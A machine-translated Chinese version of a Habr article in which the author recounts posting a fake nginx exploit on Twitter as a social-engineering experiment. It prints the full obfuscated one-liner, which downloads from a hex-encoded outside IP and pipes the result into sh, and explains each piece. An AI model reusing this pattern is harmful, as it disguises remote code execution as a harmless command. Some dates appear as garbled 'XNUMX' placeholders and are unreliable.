對 nginx 進行虛假利用的社會實驗的成功

筆記。 翻譯。: 作者 1月XNUMX日發表的原始筆記決定在對資訊安全感興趣的人中進行一個實驗。 為此,他針對網路伺服器中未公開的漏洞準備了一個虛假的漏洞程序,並將其發佈在他的 Twitter 上。 他的假設——立即被那些會看到代碼中明顯欺騙的專家揭穿——不僅沒有實現……它們超出了所有人的預期,而且朝著相反的方向發展:這條推文得到了許多人的大力支持,而他們並沒有這樣做。檢查其內容。

對 nginx 進行虛假利用的社會實驗的成功

TL;DR:在任何情況下都不要在 sh 或 bash 中使用檔案管道。 這是失去對電腦控制的好方法。

我想與大家分享一個關於 31 月 XNUMX 日創作的漫畫 PoC 漏洞的小故事。 他立即現身回應訊息 阿莉薩·埃薩奇·舍甫琴科, 成員 零日倡議 (ZDI),有關 NGINX 中導致 RCE(遠端程式碼執行)的漏洞的資訊將很快被揭露。 由於 NGINX 為許多網站提供支持,這個消息肯定是一個重磅炸彈。 但由於「負責任的揭露」流程的延誤,所發生事件的細節尚不清楚——這是 ZDI 的標準程序。

對 nginx 進行虛假利用的社會實驗的成功
鳴叫 關於NGINX漏洞披露

在完成了curl中新的混淆技術的研究後,我引用了原始推文並“洩露了一個工作PoC”,其中包含一行程式碼,據稱該程式碼利用了已發現的漏洞。 當然,這完全是無稽之談。 我以為我會立即暴露,並且最多我會得到一些轉發(哦,好吧)。

對 nginx 進行虛假利用的社會實驗的成功
鳴叫 帶有虛假漏洞

然而,我無法想像接下來發生的事。 我的推文人氣飆升。 令人驚訝的是,目前(莫斯科時間15月00日1:XNUMX)很少人意識到這是假的。 許多人根本沒有檢查就轉發了它(更不用說欣賞它輸出的可愛的 ASCII 圖形了)。

對 nginx 進行虛假利用的社會實驗的成功
看看它多麼美麗!

雖然所有這些循環和顏色都很棒,但很明顯,人們必須在電腦上運行程式碼才能看到它們。 幸運的是,瀏覽器以同樣的方式工作,再加上我真的不想陷入法律麻煩,埋在我的網站中的程式碼只是進行回顯調用,而不嘗試安裝或執行任何其他程式碼。

小題外話: 網路幽靈, DNZ、我和團隊中的其他人 暴徒 一段時間以來,我們一直在嘗試不同的方法來混淆curl命令,因為它很酷……而且我們是極客。 netspooky 和 ​​dnz 發現了幾種對我來說非常有希望的新方法。 我也加入其中,嘗試將 IP 十進制轉換添加到這一系列技巧中。 原來IP也可以轉換為十六進位格式。 此外,curl 和大多數其他 NIX 工具很樂意使用十六進位 IP! 因此,只需建立一個令人信服且看起來安全的命令列即可。 最後我選擇了這個:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

社會電子工程 (SEE) - 不僅僅是網路釣魚

安全性和熟悉度是這個實驗的主要部分。 我認為他們是他成功的原因。 命令列透過引用「127.0.0.1」(眾所周知的本地主機)明確暗示了安全性。 本機被認為是安全的,其上的資料永遠不會離開您的電腦。

熟悉度是實驗的第二個關鍵 SEE 組成部分。 由於目標受眾主要由熟悉電腦安全基礎知識的人組成,因此創建程式碼以使其中的某些部分看起來熟悉和熟悉(因此安全)非常重要。 借用舊的漏洞利用概念的元素並以不尋常的方式將它們結合起來已被證明是非常成功的。

下面就來詳細分析一下單行本。 這份清單上的所有東西都穿著 化妝品性質,並且其實際操作幾乎不需要任何東西。

哪些組件才是真正必要的? 這 -gsS, -O 0x0238f06a, |sh 以及網頁伺服器本身。 Web 伺服器不包含任何惡意指令,只是使用指令提供 ASCII 圖形 echo 在包含的腳本中 index.html。 當使用者輸入一行時 |sh 在中間, index.html 載入並執行。 幸運的是,網頁伺服器的管理員並沒有惡意。

  • ../../../%00 ——代表超越目錄;
  • ngx_stream_module.so — 隨機 NGINX 模組的路徑;
  • /bin/sh%00<'protocol:TCP' - 據說我們正在推出 /bin/sh 在目標機器上並將輸出重新導向到 TCP 通道;
  • -O 0x0238f06a#PLToffset - 秘方,補充 #PLToffset,看起來像是 PLT 中以某種方式包含的記憶體偏移量;
  • |sh; - 另一個重要的片段。 我們需要將輸出重新導向到 sh/bash,以便執行來自位於以下位置的攻擊 Web 伺服器的程式碼: 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - netcat 所指的虛擬對象 /dev/tcp/localhost這樣一切看起來又安全了。 事實上,它什麼也沒做,只是為了美觀而被列入其中。

一行腳本的解碼和「社會電子工程」(複雜的網路釣魚)方面的討論到此結束。

Web伺服器設定及對策

由於我的絕大多數訂閱者都是資訊安全/駭客,我決定讓網頁伺服器對他們的「興趣」表達更有抵抗力,這樣他們就可以有事可做(而且這會很有趣)設定)。 由於實驗仍在進行中,我不會在這裡列出所有陷阱,但以下是伺服器所做的一些事情:

  • 主動監控某些社交網路上的分發嘗試,並取代各種預覽縮圖以鼓勵用戶點擊連結。
  • 將 Chrome/Mozilla/Safari/etc 重定向到 Thugcrowd 宣傳視頻,而不是顯示 shell 腳本。
  • 監視明顯的入侵/公然黑客行為跡象,然後開始將請求重定向到 NSA 伺服器(哈!)。
  • 在所有使用者透過常規瀏覽器存取主機的電腦上安裝特洛伊木馬以及 BIOS Rootkit(開個玩笑!)。

對 nginx 進行虛假利用的社會實驗的成功
一小部分反劑

在這種情況下,我唯一的目標是掌握 Apache 的一些功能 - 特別是重定向請求的很酷的規則 - 我想:為什麼不呢?

NGINX 漏洞利用(真實!)

訂閱 @alisaesage 在 Twitter 上關注 ZDI 在解決 NGINX 中非常實際的漏洞和利用機會方面所做的出色工作。 他們的工作一直讓我著迷,我很感謝愛麗絲對我愚蠢的推文引起的所有提及和通知的耐心。 幸運的是,它也做了一些好事:它有助於提高人們對 NGINX 漏洞以及濫用curl引起的問題的認識。

來源: www.habr.com

添加評論